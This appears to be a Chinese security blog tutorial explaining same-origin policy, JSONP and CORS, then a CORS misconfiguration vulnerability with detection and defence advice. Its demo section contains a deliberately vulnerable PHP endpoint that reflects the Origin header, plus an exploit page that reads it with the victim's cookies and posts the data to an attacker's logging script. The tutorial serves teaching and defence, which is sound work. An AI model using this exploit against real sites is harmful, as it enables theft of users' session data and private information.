0x01 CORS相关基本概念

SOP

SOP(Same Origin Policy)同源策略,是浏览器的一个安全基石,浏览器的同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。那么何为同源呢,即两个站点需要满足同协议,同域名,同端口这三个条件。

但随着Web应用的发展,出于一些网络业务的需求,需要实现一些资源的跨域访问,这就造就了一些跨域技术的出现,而下面主要讲下两种最为常见的跨域技术。

JSONP

JSONP跨域,就是利用script标签没有跨域限制的特性,使得网页可以从其他来源域动态获取Json数据。JSONP跨域请求一定需要对方的服务器支持才可以。

JSONP实现流程:

  1. 服务端必须支持JSONP,且拥有JSONP跨域接口;

  2. 浏览器客户端声明一个回调函数,其函数名作为参数值,要传递给跨域请求数据的服务器,函数形参为要获取到的返回目标数据;

  3. 创建一个script标签,把跨域的API数据接口加载到src属性,并且在这个地址向服务器传递该回调函数名;

  4. 服务器会将数据返回到浏览器客户端,此时客户端会调用回调函数,对返回的数据进行处理;

至于其他关于JSONP更多的东西这里不去探讨,我们重点看下面的CORS跨域。

CORS

原理与工作流程

CORS(Cross-Origin Resource Sharing)跨源资源共享,是HTML5的一个新特性,其思想是使用自定义的HTTP头部让浏览器与服务器进行沟通,它允许浏览器向跨域服务器发出XMLHttpRequest请求,从而克服AJAX只能同源使用的限制。

CORS的基本原理是,第三方网站服务器生成访问控制策略,指导用户浏览器放宽 SOP 的限制,实现与指定的目标网站共享数据。

相比之下,CORS较JSONP更为复杂,JSONP只能用于获取资源(即只读,类似于GET请求),而CORS支持所有类型的HTTP请求,功能完善。

CORS跨域访问资源示意图:

CORS具体工作流程可分为三步,如图所示:

  1. 请求方脚本从用户浏览器发送跨域请求。浏览器会自动在每个跨域请求中添加Origin头,用于声明请求方的源;
  2. 资源服务器根据请求中Origin头返回访问控制策略(Access-Control-Allow-Origin响应头),并在其中声明允许读取响应内容的源;
  3. 浏览器检查资源服务器在Access-Control-Allow-Origin头中声明的源,是否与请求方的源相符,如果相符合,则允许请求方脚本读取响应内容,否则不允许;

在CORS协议中,请求方还可以指示浏览器在跨域请求中是否带credentials(包括Cookie,TLS客户端证书和代理验证信息)。如果跨域请求中带了credentials,那么浏览器会检查资源服务器返回的响应头中Access-Control-Allow-Credentials头是否设置为true,如果是,则允许请求方读取响应内容,否则,不允许。

基本用法

当b.com服务器想要与a.com共享资源内容时,它只需要在HTTP响应中添加如下响应头。这个响应头告诉浏览器放宽SOP限制,允许a.com脚本读取响应内容:

1
2
Access-Control-Allow-Origin: http://a.com
Access-Control-Allow-Credentials: true

a.com则可以通过以下JavaScript脚本,跨域读取b.com服务器的内容:

1
2
3
4
5
6
7
8
9
var xhr=new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open(“GET“, ”http://b.com/api“, true);
xhr.withCredentials = true;
xhr.send();

几个关键的HTTP头字段

CORS中关键的几个HTTP头字段如下:

  • Access-Control-Allow-Origin:指定哪些外域可以访问本域资源;
  • Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送Cookie。仅当设置为true时,才会发送Cookie;
  • Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET、POST、PUT、DELETE等)来访问资源;
  • Access-Control-Allow-Headers:指定可以在请求报文中添加的HTTP头字段;
  • Access-Control-Max-Age:指定超时时间;

请求分类

浏览器将CORS请求分成两类,即简单请求和非简单请求。

简单请求

简单请求满足以下条件:

  1. 使用下列方法之一:GET、HEAD、POST
  2. HTTP的头信息不超出以下几种字段:Accept、Accept-Language、Content-Language、Content-Type(其值仅限于:application/x-www-form-urlencoded、multipart/form-data、text/plain)

简单请求如图所示,浏览器与服务器之间请求只进行了一次:

非简单请求

简单地说就是简单请求以外的请求都算非简单请求。

不满足简单请求条件的请求则要先进行预检请求,即使用OPTIONS方法发起一个预检请求到服务器,用于浏览器询问服务器当前网页所在的域名是否在服务器允许访问的白名单中,以及允许使用哪些HTTP方法和字段等。只有得到服务器肯定的相应,浏览器才会发送正式的XHR请求,否则报错。

关于预检请求,需要注意一下两点:

  • 预检请求对JS来说是透明的,即JS获取不到预检请求的任何信息;
  • 预检请求并不是每次请求都发生,服务端设置的Access-Control-Max-Age头部指定了预检请求的有效期,在有效期内的非简单请求不需要再次发送预检请求;

非简单请求如下所示:

一些跨域场景

  • 比如后端开发完一部分业务代码后,提供接口给前端用,在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问的问题。
  • 程序员在本地做开发,本地的文件夹并不是在一个域下面,当一个文件需要发送ajax请求,请求另外一个页面的内容的时候,就会跨域。
  • 电商网站想通过用户浏览器加载第三方快递网站的物流信息。
  • 子站域名希望调用主站域名的用户资料接口,并将数据显示出来。

应用Demo

编写两个不同域下的文件cors.html和cors.php,cors.html放在本域下、目标是跨域获取cors.php中的内容,cors.php放在其他域下,这里本地测试就直接使用不同IP访问代表不同的域名,而不改hosts文件了。

cors.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<head>
<meta charset="UTF-8" />
<title>CORS Test</title>
</head>
<body>
<div id='userInfo'></div>
</body>
<script src="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
<script type="text/javascript">
var url = "http://a.com/cors.php";
$.get(url, {a:"getUserInfo"}, function(data) {
$("#userInfo").text("Id:" + data.uid + " Name:" + data.name);
}, "json");
</script>
</html>

cors.php,先注释掉CORS跨域必需的相关HTTP头字段:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
//header('Access-Control-Allow-Origin: *');
//header('Access-Control-Allow-Credentials: true');
$a = !empty($_GET['a']) ? trim($_GET['a']) : '';
if($a == 'getUserInfo') {
echo json_encode(array(
'uid' => 1,
'name' => 'mi1k7ea',
));
} else {
echo '';
}
?>

访问本域的cors.html,发现不能成功从外域的cors.php中获取内容,在控制台会报错显示没有ACAO字段:

接着我们将cors.php中的那两句注释去掉:

1
2
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Credentials: true');

再次访问本域的cors.html,跨域发现成功获取到外域的cors.php中的响应内容并显示到页面中:

0x02 CORS跨域漏洞

漏洞点

CORS跨域漏洞的本质是服务器配置不当,即Access-Control-Allow-Origin设置为*或是直接取自请求头Origin字段,Access-Control-Allow-Credentials设置为true。

攻击过程

整个攻击过程如下:

  1. 用户通过浏览器使用账号密码登录访问正常网站a.com后,此时带有Cookie保持在a.com的登录状态;
  2. 攻击者诱使用户在同一浏览器打开访问恶意站点b.com;
  3. 用户在访问过a.com的同一浏览器打开访问b.com后,b.com后台接收到用户请求并返回恶意代码给浏览器,让浏览器带上Cookie请求访问a.com页面上的敏感信息;
  4. a.com判断用户Cookie信息后,正常处理该恶意请求,并返回敏感数据;
  5. 攻击者成功通过CORS跨域漏洞获取到用户的敏感信息;

CORS与CSRF的区别

一般有CORS漏洞的地方都有CSRF。

CSRF一般使用form表单提交请求,而浏览器是不会对form表单进行同源拦截的,因为这是无响应的请求,浏览器认为无响应请求是安全的。

浏览器的同源策略的本质是:一个域名的JS,在未经允许的情况下是不得读取另一个域名的内容,但浏览器并不阻止向另一个域名发送请求。

相同点:都需要第三方网站;都需要借助Ajax的异步加载过程;一般都需要用户登录目标站点。

不同点:一般CORS漏洞用于读取受害者的敏感信息,获取请求响应的内容;而CSRF则是诱使受害者点击提交表单来进行某些敏感操作,不用获取请求响应内容。

Demo

这里本地进行漏洞模拟利用,当然CORS跨域漏洞分无需Cookie和需Cookie的情况,由于无需Cookie的情景过于简单,于是这里仅演示无需Cookie的情况。

目标外域站点放置两个文件,login.php和secret.php。

login.php,用于给用户登录目标站点,此时可以生成对应的Cookie信息:

1
2
3
4
<?php
setcookie("SESSIONid","this_is_session_id_".time(),time()+3600,"","",0);
setcookie("username","Mi1k7ea_".time(),time()+3600,"","",0,1);
?>

secret.php,根据请求报文的Origin字段来设置ACAO字段,ACAC字段设置为true,其中含有phpinfo的敏感信息:

1
2
3
4
5
6
7
<?php
if(isset($_SERVER["HTTP_ORIGIN"])) {
header('Access-Control-Allow-Origin:'.$_SERVER["HTTP_ORIGIN"]);
}
header("Access-Control-Allow-Credentials: true");
phpinfo();
?>

在本域下放置两个文件,exp.html和save.php。

exp.html,:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
var xhr1;
var xhr2;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
xhr2= new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
{
var datas=xhr1.responseText;
xhr2.open("POST","http://127.0.0.1/save.php","true");
xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr2.send("T1="+escape(datas));
}
}
xhr1.open("GET","http://a.com/secret.php","true") //request user page.
xhr1.withCredentials = true; //request with cookie
xhr1.send();
}
loadXMLDoc();
</script>
</html>

save.php,当接收到POST方式传递的T1参数内容时,将内容写入当前Web目录的secret.html文件中:

1
2
3
4
5
6
<?php
$myfile = fopen("secret.html", "w+") or die("Unable to open file!");
$txt = $_POST['T1'];
fwrite($myfile, $txt);
fclose($myfile);
?>

下面开始模拟攻击场景。

首先受害者访问目标外域站点,需要访问login.php进行登录操作,被目标站点设置了Cookie:

接着登录成功之后,受害者带着Cookie信息可以正常访问secret.php页面,其中是phpinfo信息,包含用户cookie等敏感信息:

在此之后,攻击者向受害者发送一个恶意链接,诱使受害者访问。

当受害者访问过后,可以看到是会带着当前浏览器对目标外域站点维持着的Cookie信息去请求目标外域站点的secret.php获取内容,并将响应内容POST到攻击者的save.php中进行记录:

此时,攻击者只需访问自己本域Web站点根目录下的secret.html即可,当受害者被成功诱使点击之后就会存在该文件并记录下目标外域站点的敏感信息内容:

另外有个注意点,如果目标外域站点的secret.php中的ACAO字段设置为*时,浏览器会阻止我们获取响应报文的内容,因为这是浏览器最后一道防线对用户最后的保护。

0x03 工具

推荐Github的项目CORScanner:https://github.com/chenjj/CORScanner

0x04 检测方法

黑盒

发送请求报文,然后查看响应报文是否包含Access-Control-Allow-Origin字段,若包含且会*则存在CORS跨域漏洞,或若包含但不为*则修改请求报文头的Origin字段查看ACAO是否改变,若改变则说明存在CORS跨域漏洞。

白盒

在源码中搜索设置响应报文头字段的代码,如response.setHeader(),检测是否配置或正确配置Access-Control-Allow-Origin和Access-Control-Allow-Credentials字段。

0x05 防御方法

  • 若非必需则不开启CORS;
  • 若业务必需开启CORS,需严格限制外域白名单,禁止使用通配符*,同时尽量避免使用Access-Control-Allow-Credentials头字段;

0x06 参考

cors安全部署最佳实践

浅谈跨域威胁与安全

CORS跨域漏洞的学习